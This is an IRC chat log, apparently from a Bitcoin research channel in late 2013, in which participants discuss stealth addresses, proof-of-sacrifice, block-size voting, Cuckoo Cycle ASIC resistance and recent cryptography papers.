05:54 < deantrade> But if people want things more right away then interest rates go up.
05:54 < jtimon> capital yields are profits, and depend on competition, not in the intrinsic properties of the real capital
05:54 < jtimon> the more factories there are, the less each one of them yields
05:54 < deantrade> Agreed on last 2 statements.
05:55 < jtimon> and if people prefer things in the future they go negative? that can't happen with gold, usd or btc
05:55 < jtimon> money DOES HAVE and effect on people's time preference, more than the other way around
05:56 < petertodd> well, maybe not ok as it might make mapping inter-network connections easier...
05:58 <@gmaxwell> hm. making a blind SIN into a rate limit is a little tricky. "This message is signed by key(s) from the SIN SET, with at least X btc in value" isn't enough, since its not a rate. (e.g. you can keep doing it)
05:59 < petertodd> can't the blinding be deterministic? IE it maps to one and only one sacrifice from the set of all prior sacrifices
06:00 <@gmaxwell> You need an additional "Random ID X is the hash of a determinsitic signature of time T, by key(s) from the SIN SET, with at least X btc in value." term.
06:00 < petertodd> yeah
06:00 <@gmaxwell> where time is quantized to get you your rate limit.
06:01 <@gmaxwell> (perhaps just divided by the value times some rate control factor set by the system)
06:01 < CodeShark> sorry for interrupting
but what's a sacrifice?
06:01 <@gmaxwell> CodeShark: e.g. https://en.bitcoin.it/wiki/Identity_protocol_v1
06:02 < petertodd> CodeShark: underlyng mechanism: https://en.bitcoin.it/wiki/Fidelity_bonds
06:02 < CodeShark> oh, that :)
06:02 <@gmaxwell> yea, perhaps a better page.
06:02 < petertodd> gmaxwell: I need to do a specific "proof-of-sacrifice" page
06:02 <@gmaxwell> doesn't have to be coins to fees, could just be coins parked in the UTXO set or something else... but coins in the utxo set can keep moving, which makes sacrifice better.
06:06 <@gmaxwell> sadly even the fastest ZKP system would still effectively be a POW ratelimit right now. :P
06:06 < CodeShark> by "parked" you mean something like a reverse timelock?
06:07 < CodeShark> "coins cannot be spent until after block X"
06:07 < petertodd> gmaxwell: lol
06:07 < petertodd> CodeShark: that's not yet possible to do in bitcoin
06:07 < CodeShark> petertodd: I know - but in principle it could be done
06:08 < petertodd> gmaxwell: coins in the UTXO set do have the disadvantage of making attacks cheaper, kinda like merge-mining
06:08 < CodeShark> this is wizards, after all :)
06:08 <@gmaxwell> CodeShark: by parked I just mean, e.g. coins that were sitting in place as of time X. ... perhaps moved right after.
06:08 < petertodd> CodeShark: true!
06:09 <@gmaxwell> e.g. at the first block after midnight every night (by the blockchain timestamps) becomes the parking-block-height. If we had some kind of utxo commitment you'd just prove your had coins as of the most recent parking height... and that gives you bitmessage bandwidth.
06:10 <@gmaxwell> so long as the snapshot is atomic there is no double dipping.
06:11 <@gmaxwell> and as PT pointed out before the utxo commitment doesn't even need to be in bitcoin itself, it could just be computed by bitmessage nodes. (though theyd have to have the full utxo set to do it)
06:11 <@gmaxwell> probably sins are better though, since they're more easily found, etc.
06:14 < petertodd> gmaxwell: I'm very skeptical of systems that allow for re-use across different applications - UTXO-based stuff falls into that category
06:14 < petertodd> gmaxwell: thre is the disadvantage of a smaller anonymity set though
06:15 <@gmaxwell> yea, using the whole utxo set has the biggest anonymity set.
06:16 < petertodd> oh, speaking of, so I came up with a nice scheme for non-interactive stealth addresses
06:17 < petertodd> your anonymity set is some configurable subset of all transactions
06:17 <@gmaxwell> whats a stealth address?
06:18 < petertodd> just have the receiver publish a pubkey, and the sender does ECDH with the pubkey of one of the inputs to derive shared secret x, which is then used to derive a destination address from the receivers pubkey
06:18 < petertodd> the receiver now scans the whole blockchain looking for funds it can spend. To make it more efficient, just use some mechanism so that scan only has to happen for a subset of all transactions, e.g. by forcing one of the addresses in the transaction to have some specific prefix
06:19 < petertodd> stealth address being a publicly known address where funds sent to it are not known publicly
06:19 <@gmaxwell> yea, bytecoin suggested something like that a long time ago!
06:19 < petertodd> nice!
06:19 <@gmaxwell> (he also described how to send an undetectable encrypted message inside it!)
06:20 < petertodd> ha, I was just re-reading that post...
06:20 < petertodd> obviously not very well :P
06:20 < petertodd> or maybe well enough!
06:20 < petertodd> anyway it's a pretty decent solution to soemthing amir and co have been worrid about for awhile
06:20 <@gmaxwell> yea, in any case, yea .. it's just computationally expensive for the reciever...
06:21 <@gmaxwell> and I don't really know that payments with one way communication are really all that interestesting.
06:21 < petertodd> not a big deal - so is bitmessage which was (one of) his alternatives
06:21 <@gmaxwell> maybe they are. I dunno.
06:21 <@gmaxwell> perhaps there should be an address type defined for "donation addresses" which are just that.
06:22 < petertodd> I suspect that making stealth addresses well-supported would in practice get rid of a lot of address re-use due to UI constraints
06:22 <@gmaxwell> as far as your "analysis bait" I suggest using R as a sidechannel.
06:22 <@gmaxwell> yea, I agree, you win. it's an awesome point.
06:22 < petertodd> if we can tell people the "address" for their wallet is some stealth address, I think we'd have a decent UI that people would actually use correctly
06:23 <@gmaxwell> it's one of the few cases we've had where address reuse is hard to eliminate, and the cost on the reciever is not so high... plus if they're special donation addresses that fact that its reciever expensive isn't so bad.
06:23 < petertodd> well, it needs to be a distinguisher that prefix-filtering can identify (annoyingly bloom filtering can't pull this off without making the transactions distinguishable)
06:24 < petertodd> and the great thing with prefix-filtering is that stealth addresses done that way are no more bandwidth intensive than the alternative
06:24 <@gmaxwell> well it could have its own filtering.
06:24 <@gmaxwell> e.g. some servers that tell you about all transactions meeting some criteria.
06:25 < petertodd> yeah, although we're not likely to do mined commitments to those lists which kinda sucks
06:25 < petertodd> we're very likely to do prefix-filtering compatible commits
06:25 < petertodd> *commitments
06:27 < CodeShark> I'd love to see a CAS which compensates you for providing resources to the network for all these kinds of things
06:28 <@gmaxwell> petertodd: so.. downsides, an arbritary point multiply is a fair bit more expensive than multiplies with a generator. and you now have to keep a secret key online in order to tell which txn are paying you.
06:28 < petertodd> the hard part is figuring out how to force the dest address into the right format, if you have txin pubkey A and receiver pubkey B you get a fixed B', now you can brute force with some incrementing integer i, but that upps the computational effort for the receiver proportionally
06:29 < petertodd> gmaxwell: the secret key doesn't need to be the same secret as unlocks the funds though
06:29 < petertodd> gmaxwell: doubles the size of the address though
06:29 < petertodd> (which is already larger than usual)
06:30 <@gmaxwell> petertodd: I think it's okay if the address is kinda big. After all it has to be big just to have a pubkey.
06:30 < CodeShark> what does UI simplicity have to do with underlying protocols? when you connect to an ssl site, there's a whole handshake mechanism going on under the hood most users don't ever notice
06:30 < petertodd> gmaxwell: yup
06:30 <@gmaxwell> CodeShark: Reality.
06:30 < petertodd> CodeShark: it matters a lot because people like to pass around addresses in things like PGP-signed emails
06:30 <@gmaxwell> CodeShark: go solve address reuse for things like donation addresses that people slap on forum signatures. :)
06:30 < petertodd> CodeShark: requiring payment protocol for that stuff really sucks
06:32 < CodeShark> ok, granted, that is a reasonable use case
06:33 < petertodd> gmaxwell: a cheap trick would be to fail a bit on absolute indistinguishability and reuse, say, nSequence for the prefix-forcing integer
06:34 < petertodd> gmaxwell: you could even use the nonce on the signature, but that breaks determinism...
06:34 <@gmaxwell> petertodd: I don't know why you didn't like my R grinding. :P
06:34 <@gmaxwell> oh thats why
06:34 < petertodd> gmaxwell: yeah, this should be compatible with as many wallets as possible
06:36 <@gmaxwell> meh, if you don't require any obvious 'bait' then its easy.
06:37 < petertodd> what do you mean by that?
06:42 <@gmaxwell> I mean the tricky part is adding something distinguishable to the transaction.
06:42 < petertodd> oh right
06:42 < petertodd> well
06:42 <@gmaxwell> should just benchmark and see how expensive it is to do ecdh with every txn in the blockchain.
06:42 < petertodd> yeah
06:43 < petertodd> can't be much different than syncing the blockchain on a full node...
06:45 < petertodd> with the two key version you can outsource the computational work too - the risk is only that the counterparty could deanonymize you, something, say, electrum servers already can do
06:46 <@gmaxwell> yep.
10:43 < HM2> http://boingboing.net/2013/12/15/bruce-schneier-and-eben-moglen-2.html
10:43 < HM2> can't believe i missed this over the last week
10:50 < adam3us> btw the card thing P(52,26) is conveniently > 2^128. course then you have to keep them from getting accidentally shuffled
10:58 < adam3us> vaguely related to the idea to use shuffled subset of bit-card.de plastic bitcoin cards to avoid trust in printer https://bitcointalk.org/index.php?topic=330819.msg3548144#msg3548144 pay to address created by adding Q values off half of them, use the other half to check the private key is under the sticker
13:37 < gmaxwell> Sadly that doesn't prevent bitcoin from comitting suicide, but at least it would be with the consent of people that own a bunch of it.
13:37 < petertodd> Yup. I'm happy if Bitcoin is destroyed with the concent of those holding Bitcoins myself.
13:37 < petertodd> *consent
13:38 < petertodd> From a practical perspective, it also takes a lot of politics out of the situation IMO.
13:39 < gmaxwell> Well, to be clear: it's some kind of 'majority' consent... which means that some people holding bitcoin will not consent to the suicide. But the alternatives sound worse.
13:39 < gmaxwell> (e.g. alternatives being technical guy political tournamants and fork-risking-wars over client software)
13:40 < gmaxwell> I think ideally would have been to establish bitcoin with initial parameters that could be kept forever.
13:40 < gmaxwell> But since that seems to be impossible, having an economic majority seems like the next best thing.
13:41 < petertodd> Yup, see Peter Vessenes comments about how much a fork would harm bitcoin: https://github.com/pmlaw/The-Bitcoin-Foundation-Legal-Repo/pull/4#issuecomment-18988575
13:42 < petertodd> In a sense the presense of alt-coins makes it always be an economic majority thing, but the process of people dumping bitcoin for another coin will be really ugly.
13:42 < petertodd> Much better if we come to consensus on an equitable process to choose the limit.
13:43 < petertodd> It'll still lead to PR campaigns and the like of course, but those efforts become less relevant to the dev team.
13:45 < petertodd> The voting method is also designed such that an SPV client can verify the vote, and in particular, that means even if you don't hold the coins directly you can verify the person you did voted according to your wishes. (or the majority of a banks clients wishes for instance)
13:46 < gmaxwell> petertodd: can it support key delegation? in particular I should be able to take my coin signing keys offline.
13:46 < realzies> so imma start up an llvm backend project, and see where I can go
13:46 < realzies> I've never dealt with LLVM backend api, so its gonna be a learning experience
13:46 < petertodd> gmaxwell: With scripting support, yes.
13:46 < realzies> but first, breakfast
13:47 < petertodd> gmaxwell: The idea is a vote is considered valid if a scriptSig matches a txout scriptPubKey, so just add a special OP_VOTE thing - would work best with MAST support.
13:47 < gmaxwell> wow, you seem to have politically influenced vessenes.
13:48 < petertodd> Well, jdillon too.
13:49 < gmaxwell> One problem with the vote thing
I expency is there is an uncountably infinite number of free parameters.
13:49 < gmaxwell> e.g. how fast can the parameters be changed, what are the maximums and minimums.
13:49 < petertodd> For sure, such votes can be extended to anything...
13:50 < petertodd> You could just as easily vote on the coin distribution schedule.
13:50 < gmaxwell> Yes, _HOWEVER_, as I said above the ideal is that we have something and that it never changes
let people switch currencies if we got it that wrong.
13:50 < petertodd> But then again, changing the blocksize is setting precedent that we're willing to change an economic parameter too.
13:51 < gmaxwell> But well, that doesn't work when basically everyone can agree that the paramter is probably not right at least not right forever.
13:51 < gmaxwell> I think we can all agree that the distribution schedule is right enough forever.
13:51 < petertodd> Yeah, well, something I realized recently was you can construct a PoW function for an alt-coin that forces miners to prove they've attacked Bitcoin.
13:51 < gmaxwell> And changing it against the consent of some would be no better than letting people change currencies on their own.
13:52 < gmaxwell> petertodd: oh sure, trivial to do. merge mine with bitcoin and constrain it to only be 'bad blocks'.
13:52 < petertodd> Yeah, anyway, if there *was* a strong movement to change the distribution schedule, well, it'd be better to do it with a vote that by fiat.
13:53 < gmaxwell> Whereas with blocksize, I do think that changing it with the consent of most but not all is actually still politically and morally superior to saying "fuck you, switch to fatcoin".
13:53 < petertodd> gmaxwell: Yup, and make those bad blocks empty aside from a bunch of UTXO spam...
13:53 < petertodd> Yeah, and what jdillon proposed was to calculate the median of the votes, which means that everyones vote did count.
13:55 < gmaxwell> I'll have to look at the details later, I'm still getting myself comfortable with making the blocksize controlled that way.
13:55 < petertodd> Yeah, and details matter - I don't think you can prove a median was calculated accurately without all votes for instance.
13:56 < gmaxwell> I suppose you could gain traction for a particular implementation by proposing them and
externally to the blockchain
gain POS signmessages.
13:56 < petertodd> Ha, yeah for sure.
13:56 < gmaxwell> petertodd: yes, I would have instead expected something where each block commits to a set of votes, and the block hash picks a representative vote.
13:56 < petertodd> gmaxwell: Yup, NIZK-style random vote.
13:57 < petertodd> gmaxwell: He did say that the per-block vote should be median, and to then take the mean of the blocks - that can be proved incrementally.
13:58 < gmaxwell> one problem with voting is that many voters will be pretty indifferent. It will be easy to buy their votes.
13:58 < petertodd> Oh, and the nonce for the NIZK proof should probably be taken by getting the LSB of the last 64 blocks...
13:59 < gmaxwell> does that matter?
13:59 < petertodd> Sure, but it's ultimately an economic power vote anyway - what I'd be more worried about is wallet software that votes behind users backs.
13:59 < gmaxwell> If the current block goes into the proof, which it must.. then you could search for your favorite vote.
13:59 < petertodd> Yes, because you want to make sure that you can't apply more hashing power to mess with the vote.
13:59 < gmaxwell> petertodd: yea, except you don't solve that.
14:00 < gmaxwell> e.g. H(last block .. this block) is no better than H(this block) for picking the resulting value.
14:00 < petertodd> Sure I do, if the LSB of the current vote only allows you to influence the path taken at the bottom of the tree, they you have the least possible control. (if the bottom is sorted)
14:01 < gmaxwell> then you can deny entry into the tree for selected votes to get two votes you like into the position decided by that bit.
14:01 < gmaxwell> and then you get complete selection with only 1 bit more work.
14:01 < petertodd> Right, but the miner choses what votes to include in the first palce.
14:01 < petertodd> *place
14:02 < gmaxwell> I'll have to go read jdillion's thing then, as I'm not quite following how its really solved.
14:02 < petertodd> We're only trying to make sure they can't include 10 votes, and claim all 10 were for the highest size.
14:03 < gmaxwell> so, maybe it would help the proposal: but I would suggest that engineering sanity constrains the maximum rate of blocksize change.
14:03 < gmaxwell> And so instead of people voting on a particular size they could just vote for larger or not.
14:04 < gmaxwell> and stop voting for larger when its large enough.
14:04 < petertodd> Yeah, he's done that to a degree: if the size goes up, and people stop voting, the status quo votes are for the average of the new and old size, so the size will automatically start going down again.
14:04 < petertodd> One issue with sanity constraints is picking the rate of max change is in itself political...
14:05 < gmaxwell> yea thats what I was talking about uncountable paramter space.
14:05 < gmaxwell> But I think it's less bad.
14:06 < gmaxwell> The exact value is debatable, but I think I can say "whatever it is, it shouldn't be faster than doubling every year" and I think no one would argue.
14:07 < petertodd> Hmm... given the votes are essentially part of the UTXO set, actually what the miner does is add votes to that set, and the NIZK is then picking representative votes - it is acceptable to then calculate the median of the votes for the blocks in the past year in that case.
14:07 < gmaxwell> maybe the downward limit is harder to guess.
14:07 < petertodd> gmaxwell: I'm sure Mike would. :P
14:07 < gmaxwell> I don't think he would, or if he did he'd give up easily.
14:07 < petertodd> Yeah, in jdillons proposal with miner consent the limit can drop as fast as the users want it too.
14:08 < gmaxwell> doubling every year is really really fast. It's faster than expected computer scaling.
14:08 < petertodd> Which is interesting: a 50% economic majority, with 50% hashing power, can vote to shutdown Bitcoin.
14:08 < gmaxwell> and yet it's still slow enough that you can plan for it. Every fiscial year plan to double the amount of storage you're already using. :P
14:08 < petertodd> True, doubling works for that.
14:09 < gmaxwell> petertodd: should there be a minimum maximum? on one hand, it's stupid to vote it down to nothing. OTOH miners can already do that.
14:09 < gmaxwell> the vote would just make it easier for miners to coordinate doing that.
14:09 < petertodd> Heh, you could say every year we pick a representative UTXO, and if they voted to double, we do.
14:10 < gmaxwell> petertodd: variance is a bit high on that. :P
14:10 < petertodd> Yup, I don't see anything wrong with that, and after all it *does* require 50% majority of miners.
14:10 < petertodd> A 50% majority can always chose to ignore the minority including those votes.
14:10 < gmaxwell> petertodd: just for technical reasons, a limit might make sense, because, uh. you don't want to actually stupidly end up in a state where a next block isn't possible. :P
14:11 < petertodd> Yeah, heck, a lower limit of 1MB would probably be fine.
14:11 < petertodd> Maybe say 100KB for sake of argument.
16:31 < petertodd> now, back to my main point: why can't I parallelize that? I have a n port memory block, so I just have n different cuckoo cycle-finding attempts running in parallel
16:32 < tromp__> because prior to insertion both cuckoo[i] and cukoo[j] may alrd point elsewhere
16:32 < tromp__> because the paths from one attemp will totally screw up the paths from the opther
16:32 < petertodd> so what? sometimes these attempts will collide, but that's just a probability thing, we can discard those failed attempts
16:33 < petertodd> I'm still getting parallelism
16:33 < tromp__> no you'll almost never be able to follow a long path of edges all from one attempt
16:33 < petertodd> tromp__: how long is long?
16:34 < tromp__> to find a 42 cycle, you'll need to follow for instance paths of length 21 from each of i and j
16:34 < tromp__> and all these 41 edges you follow MUST be from the same attempt
16:34 < petertodd> (btw, the magic word here is birthday)
16:34 < tromp__> so your odds of running even 2 instances in parallel are about 2^-41
16:34 < tromp__> good luck with that
16:35 < petertodd> ah, but are you sure I can't be more clever than that?
16:35 < tromp__> my paper analyses a more sensible case of trying to reduce memory
16:35 < tromp__> i cannot prove it, but i'm pretty sure
16:36 < tromp__> i'll bet money on it
16:36 < petertodd> like, suppose handle collissions by quickly grabbing an adjacent memory cell to temporarily store the extra data?
16:36 < petertodd> that's the kind of thing a custom ASIC could be engineered to do cheaply
16:36 < petertodd> *suppose I
16:37 < tromp__> then you're essentially creating a bucket instead of a single slot
16:37 < petertodd> tromp__: sure, but I can do that really cheaply!
16:37 < tromp__> no, adjacent slots will mostly be in use
16:37 < petertodd> tromp__: why?
16:38 < tromp__> because you''ll be at a load of close to 50% before you find cycles
16:38 < petertodd> for instance, with my grid of small memory bank architecture I can easily have the circuits for each small bank handle that deconfliction
16:38 < tromp__> so almost half of all slots are filled
16:39 < petertodd> tromp__: right, but remember all that matters is we find a short cycle
16:39 < tromp__> plus the administrative overhead of keeping track of which slots store an i edge of an i-1/i+1 edge will kill you
16:40 < petertodd> in software it'd kill you, in hardware it won't
16:40 < tromp__> yes, if you call 42 short
16:40 < petertodd> 42 is short compared to hundreds of mb
16:41 < tromp__> basically, if you try to use shortcuts for edges that work 90% of the time, then you'l still be only 0.9^42 effevtive
16:41 < tromp__> which is negligably small
16:42 < tromp__> cuckoo makes you use most of N * 32 bits for a single attempt
16:42 < petertodd> you're still not getting it... let me try another argument
16:42 < petertodd> so remember what I was saying about how memory works?
16:42 < petertodd> even in the *single* attempt case, a routed memory architecture uses a lot less power than a standard one
16:42 < tromp__> let me ask a qst first
16:43 < petertodd> qst?
16:43 < tromp__> if you think you can run multiple instances within memory, are you claiming that you can run cuckoo with half the designed memory?
16:43 < petertodd> tromp__: no, I'm claiming I can run it in less power
16:44 < tromp__> power is alrd pretty small since most time is spent waiting for memory latency
16:44 < petertodd> if you think power is what matters then you don't understand the economics of PoW...
16:44 < tromp__> you assume that PoW must be dominated by cpu bound computation
16:44 < petertodd> you're always in the situation where if you use the equipment for more than a few months power costs more than the equipment
16:45 < tromp__> that's why cuckoo is different.
16:45 < tromp__> you'll be spending way more on RAM prices than on power
16:46 < petertodd> if you want me to believe that, then get a hardware designer to analyse your design, you haven't done that
16:48 < tromp__> i just want you to believe that you cannot feasibly run cuckoo within half the designated memory, even if you add lots of non-memory asics
16:48 < petertodd> tromp__: which I'm not claiming - asics can be memory optimized too you know
16:48 < petertodd> a interesting construction technique for that is to take a memory die and overlay it with a non-memory die actually - extremely low latency, and totally custom
16:49 < tromp__> since cuckoo really randomly access the random-access-memory, it will be hard to optimize memory layout
16:49 < petertodd> could be a good way to do the routed memory option actually, and then use power-gating to turn off whatever part of the dies isn't being used for computation, as well as put the dram's into lower power modes
16:50 < petertodd> you don't have to optimize layout, you optimize the wiring that gets the signals to and from the memory cells
16:50 < petertodd> like I said, you burn a lot of power getting the data from the dram cell to the processor and back - shorten those wires and the hwole thing uses a lot less power
16:50 < petertodd> how do you shorten them? crazy custom asics, and die-on-die is a pretty solid way to do that
16:51 < petertodd> you also get lower latency by shortening them, and you *did* say cuckoo is latency hard...
16:51 < tromp__> any such optimizatoin would benefit existing ram chips as well. we can assume that samsung alrd optimized their memory chips pretty well
16:52 < petertodd> no they won't, dram is constrained by the fact that it has to be general purpose, I'm saying you can optimize for latency by placing a asic with the computational part of the circuit - not much - directly on top of the memory die
16:52 < petertodd> remember that L1 and L2 cache is basically that same strategy, but with tradeoffs due to all the computational circuits needed in a modern processor
16:52 < tromp__> the computational part of cuckoo is really small. just one hash per edge
16:53 < petertodd> exactly! that's a huge problem
16:53 < tromp__> whereas you need to do 3.3 memory reads and 1.75 memory writes per edge on avg
16:53 < tromp__> so it's really dominated by latency
16:53 < petertodd> so my custom asic die can be those tiny little hashing units scattered all over the place, and my custom memory die can have a lot of read/write ports so that the wires to the closest hashing unit are short, thus reducing the latency
16:53 < tromp__> putting hash circuits on your memory die doesnt help much
16:54 < petertodd> once you find your hash, then the wires to the *next* memory cell/hashing unit can also be short
16:54 < petertodd> tromp__: if you think that doesn't help much, you don't think L1/L2 cache helps either
16:54 < tromp__> all the memmory accesses still need to be coordinated to properly follow the paths
16:54 < tromp__> and reverse parts
16:54 < petertodd> so? that can be done locally with custom routing circuitry dedicated to that task
16:54 < tromp__> for cuckoo, L1/L2 cache will be quite useless
16:55 < petertodd> yes, only because it's so small, I'm telling you how to make essentially a custom GPU dedicated to hashing with distributed memory to keep latencies down
16:56 < tromp__> your hashers will be idle 99.999% of the time
16:56 < petertodd> and that's a good thing! when they're idle they use no power
16:56 < petertodd> in fact you'd probably do best with a really custom async-logic implementation of this so you don't have to route clock signals a long distance
16:56 < tromp__> and have no benefit over a single hasher doing all the hashing work
16:57 < petertodd> yes you do, getting the data to and from that hashing uses a lot of power
16:57 < tromp__> you cannot avoid the latency induced by having to coordinate values read from random memory locations
16:57 < tromp__> no matter what wiring, the distance between 2 random memory locations is still large
16:57 < petertodd> yes I do, my hashing circuitry and memory routing circuitry is physically located closer to the cells than before, so speed of light is short
16:58 < petertodd> nope, I can do far more efficiently if the computation and routing happens on the same die and/or module
16:58 < petertodd> remember, the reason why main memory access are so slow is because of the speed of light - I've proposing a design that shortens all those distances drasticly
16:59 < tromp__> your not shortening the distance from random location cuckoo[i] to random location cuckoo[j]
16:59 < tromp__> and the algorithm's action depend on both those values
17:00 < petertodd> yes I am! the distance in commodity hardware is about 10cm, I'm shortening it to about cm
17:00 < petertodd> *about 1cm
17:00 < petertodd> even less if I use crazy 3d packaging... which I can because this is low power!
17:00 < petertodd> like, I should actually sandwich at least three dies, hashing in the middle and memory on either side
17:01 < petertodd> (you may not know this, by direct die-to-die connections are possible these days with techniques like microdots of conductive glue)
17:01 < tromp__> if 3d memory becomes feasible you'll see it on commoduty hardware first
17:02 < petertodd> hint: you already do, it gets used for cache and even main memory (in system-on-a-chip designs)
17:02 < petertodd> problem is those designs aren't optimized for latency
17:03 < petertodd> instead they *tradeoff* area for latency, and then make it back up by taking advantage of locality with caching
17:03 < phantomcircuit> petertodd, for scrypt?
17:03 < petertodd> which means I can create a custom design by optimizing for latency at the expense of some area cost
17:03 < petertodd> phantomcircuit: we're talking about cuckoo cycle pow
17:04 < petertodd> phantomcircuit: it's supposed to be asic hard, but it's actually the exact opposite
08:58 < iddo> TD: yeah but they prefer (anonymous) submission to conference for peer review, instead of posting it publicly and confusing random people who come across false proofs
08:58 < nsh> confusion has some overlap with inspiration :)
08:58 < nsh> i don't mind 1000 quacks if there's one genius
08:59 < nsh> (the ratio is probably much higher in practice though)
09:01 < iddo> nsh: i think poly time algorithms for interesting problems are no more than a small const in exponent after optimizations, say n^6 or n^12 when n is the bit size
09:02 < nsh> right, i wonder why this is though... seems very... fortunate
09:02 < iddo> nsh: obviously you can have artificial problems like clique of size 1000 in an arbitrary graph, with poly time complexity of n^1000
09:02 < nsh> sure, there'll always be nasty cases. but it's a question of how they're distributed i suppose
09:26 < jtimon> so iddo, has the paper been proven wrong?
09:29 < iddo> jtimon: probably no one serious tried to look and refute it
09:29 < andytoshi> jtimon: this paper is a tangled structure of about 30 definitions and 10 nested algorithms which purports to be a program which proves the existence of a poly-time algo for a given NP problem
09:29 < andytoshi> (i think)
09:29 < andytoshi> nobody is going to peer-review that when it's just a random thing on the arxiv
09:29 < iddo> jtimon: is you google you can find explanations, e.g. http://www.scottaaronson.com/blog/?p=458
09:32 < pigeons> http://arxiv.org/abs/0711.0770 this one is clearer
09:32 < andytoshi> (iddo's link is a general "how to judge P vs NP papers without reading too closely" article)
09:36 < iddo> there was a claim that looked serious (involving a new tecnique of statistical physics) about 3 years ago, so Terence Tao and co. looked and demolished it within a few days after it became public: http://michaelnielsen.org/polymath1/index.php?title=Deolalikar's_P!%3DNP_paper
09:41 < t7> Terence Tao used to hang out in the go-lang irc channel :|
09:45 < andytoshi> does he not anymore? he seems to spend an impossible amount of time hanging out on the internet
09:45 < andytoshi> considering how much work he gets done..
09:46 < t7> andytoshi i stopped using go a long time ago
09:54 < jtimon> pigeons you gave me a link about a physics unified theory
09:54 < pigeons> yeah sorry, bad joke
09:54 < jtimon> ah, ok
09:54 < jtimon> this one is clearer
09:54 < pigeons> i was trying to comment on the reliability of arxiv.org papers
09:54 < jtimon> I see
09:55 < pigeons> but if you have to explain the joke, it wasnt a very good one :)
09:55 < jtimon> but is there a critique to this concrete proposal?
09:56 < jtimon> although thank you for the link iddo
09:58 < jtimon> or it was just rewarded as "not enough serious" and not reviewd by anyone or something?
12:35 < maaku> jtimon: the paper has only been up for hours
12:36 < jtimon> oh, I see, so there's probably no critique yet
13:37 < zooko> Huh, there are two papers recently added to eprint.iacr.org with "proof of space" in their title.
13:37 < zooko> amiller: have you seen gmaxwell's argument that making mining-effort into a "dual purpose" operation isn't necessarily good?
13:38 < amiller> fwiw i am *not* in favor of "dual purpose" unless the dual purpose is intrinsic to the system itself somehow
13:38 < amiller> zooko, ^
13:38 < amiller> that probably makes no sense i can try to elaborate though
13:41 * nsh nods
13:41 < gmaxwell> it makes sense to me.
13:42 < andytoshi> it makes sense to me
13:43 < amiller> ok :)
13:43 < andytoshi> though i'd have to think a bit about why you feel that way
13:43 < amiller> these two proofs of space papers are interesitng that they show up though http://eprint.iacr.org/2013/805 and http://eprint.iacr.org/2013/796
13:44 < amiller> i can't really figure out if they're better than gmaxwell's proof of storage
13:46 < nsh> eerily simlar works
13:46 < nsh> (per abstract, at leasts)
13:47 < amiller> oh, one of the auhtors of one of them is also on the Secure Multiparty Computation on Bitcoin paper
13:47 < zooko> amiller: that makes sense.
13:47 < amiller> university of warsaw seems to have a strong bitcoin research faction now...
13:47 < zooko> amiller: because of gmaxwell's argument about weakened incentives for correct consensus-building?
13:48 < amiller> zooko, yes that's the argument i have in mind and think is right
13:48 < zooko> ("consensus-building"
13:48 < zooko> amiller: thanks.
13:51 < gmaxwell> amiller: I think the first paper there is basically isomorphic to my proposal with a lot of obfscuating language.
13:52 < gmaxwell> well not quite isomorphic.
13:53 < amiller> do we have a standard template form letter yet to send people who write papers and don't cite forums posts they should
13:53 * amiller wants to see whatever iddo sent the lottery paper auhtors
13:54 < _ingsoc> Lottery paper?
13:55 < amiller> _ingsoc, http://eprint.iacr.org/2013/784 summarized in this thread https://bitcointalk.org/index.php?topic=355174.0
13:56 < _ingsoc> Oh cool. Thank you. :)
14:10 < iddo> amiller: i pasted the link here yesterday: http://www.cs.technion.ac.il/~idddo/cointossBitcoin.pdf
14:10 < iddo> i asked them to reference this in their paper, but they haven't replied so far
19:23 < andytoshi> like, in 100 years?
19:24 < andytoshi> it's growing at well under 10gb/year
19:25 < andytoshi> the block limit is 1mb, let's suppose that each one takes 1mb on disk, and that the blocks come every 10 minutes
19:26 < andytoshi> that's 144 per day, 52560 per year
19:26 < andytoshi> 52.5 gb
19:26 < andytoshi> so 20 years minimum
19:26 < gmaxwell> nOgAnOo: Bitcoin already is decenteralized, so I'm confused by your question.
19:31 < phantomcircuit> gmaxwell, i think he means storage of old blocks
19:31 < gavinandresen> andytoshi: yes, but there is broad consensus that we will need to increase the max blocksize soon-ish.
19:33 < phantomcircuit> nOgAnOo, nobody is going to watch that
19:33 < gavinandresen> mmm. it is on youtube, it must be correct.
19:33 < phantomcircuit> you might as well have just asked us to stare at the wall for 5 minutes
19:33 < gavinandresen> nOgAnOo: there are lots of plans for how to scale up bitcoin while keeping it decentralized.
19:34 < gavinandresen> nOgAnOo: actually IMPLEMENTING them will take time, careful thought, etc.
19:34 < gavinandresen> In any case, scaling up is in the category of "good problem to have"
19:36 * andytoshi is actually watching the video..
19:37 < andytoshi> "250 gigabytes within 2 years"
19:38 < phantomcircuit> andytoshi, otherwise known as "i pulled this number out of my ass"
19:38 < andytoshi> mmhmm
19:38 < andytoshi> after that it sorta crumbles from lies into incoherency
19:38 < andytoshi> to answer your question nOgAnOo, there is thought going into blockchain expansion, but no concrete plans
19:39 < andytoshi> and it's not even close to as urgent as that video claims
19:40 * nsh smiles
19:40 < andytoshi> nOgAnOo: if you listen to this channel you'll see links to research drifting by
19:40 < andytoshi> following them would involve a -lot- of background research i'm afraid
19:40 < jrmithdobbs> so you're a moron asking why you're a moron that doesn't understand a different moron, good show
19:40 < jrmithdobbs> good show indeed
19:41 < andytoshi> but you're not going to get a coherent picture of anything from youtubers
19:42 < phantomcircuit> lol
19:42 < jrmithdobbs> andytoshi: or "christian" researchers ... or any "religious sect" researchers, for that matter
19:43 < jrmithdobbs> andytoshi: "<3
19:43 < edulix> did I read christian researcher in bitcoin-wizards? makes sense, mixing different kind of magic
19:44 < andytoshi> jrmithdobbs: i recently moved to america, was caught off guard by the amount of "god bless"s that go on between strangers here
19:44 < andytoshi> so i give them all the benefit of the doubt
19:45 < amiller> gesundheit
19:45 < jrmithdobbs> andytoshi: where i grew up in texas and have developed a 7th sense for the bullshit and know exactly when to start mocking instead of attempting to teach
19:45 < jrmithdobbs> andytoshi: ;p
19:46 < andytoshi> well, i'm still learning ;)
19:46 < edulix> nOgAnOo: in the new world order, maybe vatican opens the next mtgox :p
19:51 < nsh> there are sci-fi precendents for this
19:52 < nsh> (deranged-seeming religious beliefs inspiring technological uptake from strange quarters)
19:52 < nsh> also historical precedents :)
19:52 < nsh> but the sci-fi ones are more fun
19:53 < jrmithdobbs> we don't need sci-fi examples, we've got luke! ;p
19:59 * nsh smiles
20:20 < amiller> i'm trying to think of how to explain what's significant about the choices made about how much deposits are needed for the lottery game
20:20 < amiller> in N player lottery game from this paper
20:20 < amiller> say each party puts in 1 coin
20:20 < amiller> the point is that one person is supposed to win N coins
20:20 < amiller> first just note that the expected utility is zero
